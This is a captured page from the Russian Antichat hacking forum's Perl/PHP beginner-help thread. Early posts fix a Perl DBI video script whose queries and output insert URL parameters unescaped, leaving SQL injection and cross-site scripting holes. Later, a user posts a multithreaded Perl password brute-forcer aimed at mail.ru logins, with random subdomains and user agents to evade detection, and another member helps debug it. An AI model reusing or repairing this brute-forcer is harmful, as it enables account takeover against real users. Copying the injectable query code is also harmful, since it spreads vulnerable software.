ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1161  
Старый 30.08.2009, 00:28
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Прочти описание метода do и вопросы отпадут
 
Ответить с цитированием

  #1162  
Старый 30.08.2009, 00:32
Аватар для anubis666
anubis666
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме:
62180

Репутация: 0
По умолчанию

Цитата:
Сообщение от PvgValo  
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result = $result->fetchrow_hashref();
при использовании prepare выводится значение DBI::st=HASH(0x198c884) ,а когда остальные появляются ошибки ...
 
Ответить с цитированием

  #1163  
Старый 30.08.2009, 00:46
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

омг
do() используется для запросов UPDATE и INSERT и тп, так как возвращает результат запроса (1=ошибки нет, 0=ошибка)
Юзай prepare(),execute() и fetchrow_hashref

Последний раз редактировалось Spyder; 30.08.2009 в 00:49..
 
Ответить с цитированием

  #1164  
Старый 30.08.2009, 00:52
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

$fileid= $result->{file_id}
 
Ответить с цитированием

  #1165  
Старый 30.08.2009, 00:59
Аватар для anubis666
anubis666
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме:
62180

Репутация: 0
По умолчанию

тогда почему при использовании prepare мне выводится значение не поля а DBI::st=HASH(0x1a2c884),использую execute выходит ошибка Can't locate object method "execute" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13.,использую fetchrow_hashref выходит Can't locate object method "fetchrow_hashref" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13. ..ЧТО ДЕЛАТЬ?ДА Я НУБ!!но что делать?
 
Ответить с цитированием

  #1166  
Старый 30.08.2009, 01:08
Аватар для PvgValo
PvgValo
Участник форума
Регистрация: 01.08.2009
Сообщений: 169
Провел на форуме:
1353033

Репутация: 113
По умолчанию

Вот! Если не ошибаюсь, должно быть так! НЕ судите строго если ошибся...

Код:
#!"D:\perl\bin\perl.exe"   
use DBI;
use CGI qw/:standard/; use CGI qw(param); 
use CGI::Carp qw(fatalsToBrowser); 
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr; 
print "Content-Type: text/html\n\n"; 
my $view=param('id'); my $video=param('v'); 
my $title=param('t'); 
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'"); 
$result->execute(); 
$result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'"); 
$result2->execute(); 
$result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'"); 
$result3->execute(); 
my $result_file = $result->fetchrow_hashref(); 
my $result_video = $result2->fetchrow_hashref(); 
my $result_title = $result3->fetchrow_hashref(); 
print "<center>$result_video->{video_id}</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'>
</script>   
<div id='mediaspace'>This text will be replaced</div>   
<script type='text/javascript'>   
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')   
so.addParam('allowfullscreen','true')   
so.addParam('allowscriptaccess','always')   
so.addParam('wmode','opaque')   
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}')   
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg')   
so.write('mediaspace') 
</script> 
</center>"; 
print "краткое описание $result_title->{title_id}";
$dbh->disconnect();

Последний раз редактировалось PvgValo; 30.08.2009 в 01:14..
 
Ответить с цитированием

  #1167  
Старый 30.08.2009, 01:19
Аватар для anubis666
anubis666
Новичок
Регистрация: 17.08.2009
Сообщений: 21
Провел на форуме:
62180

Репутация: 0
По умолчанию

СПАСИБО!!!буду изучать дальше perl
 
Ответить с цитированием

  #1168  
Старый 09.09.2009, 22:01
Аватар для iveyk
iveyk
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме:
31294

Репутация: 0
По умолчанию

Здраствуйте,
Пробую переделать скрипт для брута вконтакте, вроде всё правильно сделал, но при запуске получаю ошибку:
Thread 3 terminated abnormally: Can't use an undefined value as a symbol referen
ce at qw.pl line 32.
Вот код скрипта:
Код:
#!/usr/bin/perl -W

use IO::Socket; 
use MD5; 
use threads; 
use threads::shared; 
my @pass : shared; 
$dic = "passl.txt"; #паслист для брдутфорсера
$login = 'login';
$threads = 4; #количество потоков 
@prefixes = ('as','sd','df','dff','fg','gh','hj');
@agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');

open (pass1, "<$dic"); 

@pass = pass(); 

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} 
for(@trl) { $_->join; } 

sub Brut 
{ 

while (@pass){ 

$pass = shift @pass; 

my $random = int(rand(6));
my $prefix = $prefixes[$random];
print("random: $random prefix: $prefix pass: $pass\r\n");
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); 
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". 
"Host: ".$prefix.".mail.ru\r\n". 
"Accept: */*\r\n". 
"Content-Type: application/x-www-form-urlencoded\r\n". 
"User-Agent: ".$agents[$random]."\r\n". 
"Connection: close\r\n\r\n"; 
$answ = <$sock>; 
close $sock; 
print "$pass $answ"; 
if ($answ =~ /302/){ 
print "$login : $pass\n"; 
exit;} 
} 

} 


sub pass 
{ 
my (@mas); 
while (<pass1>){ 
push @mas, $_; 
} 
chomp @mas; 
close pass1;
return @mas; 
}
Если несолжно, подскажите пожалуйста в чём ошибка, и как исправить?
p.s. mail.ru вписан просто для примера
 
Ответить с цитированием

  #1169  
Старый 09.09.2009, 22:22
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Попробуй замени
PeerAddr=>"http://".$prefix.".mail.ru"
на
PeerAddr=>"mail.ru"
 
Ответить с цитированием

  #1170  
Старый 09.09.2009, 22:25
Аватар для iveyk
iveyk
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме:
31294

Репутация: 0
По умолчанию

Но мне как-раз нужны эти префиксы, и чтобы при каждом запросе они были разные (случайное число из рандома) и user-agent тоже нужно чтобы случайный был :/
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[php] Новичкам: задаем вопросы _Great_ PHP, PERL, MySQL, JavaScript 16396 17.06.2010 21:19
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ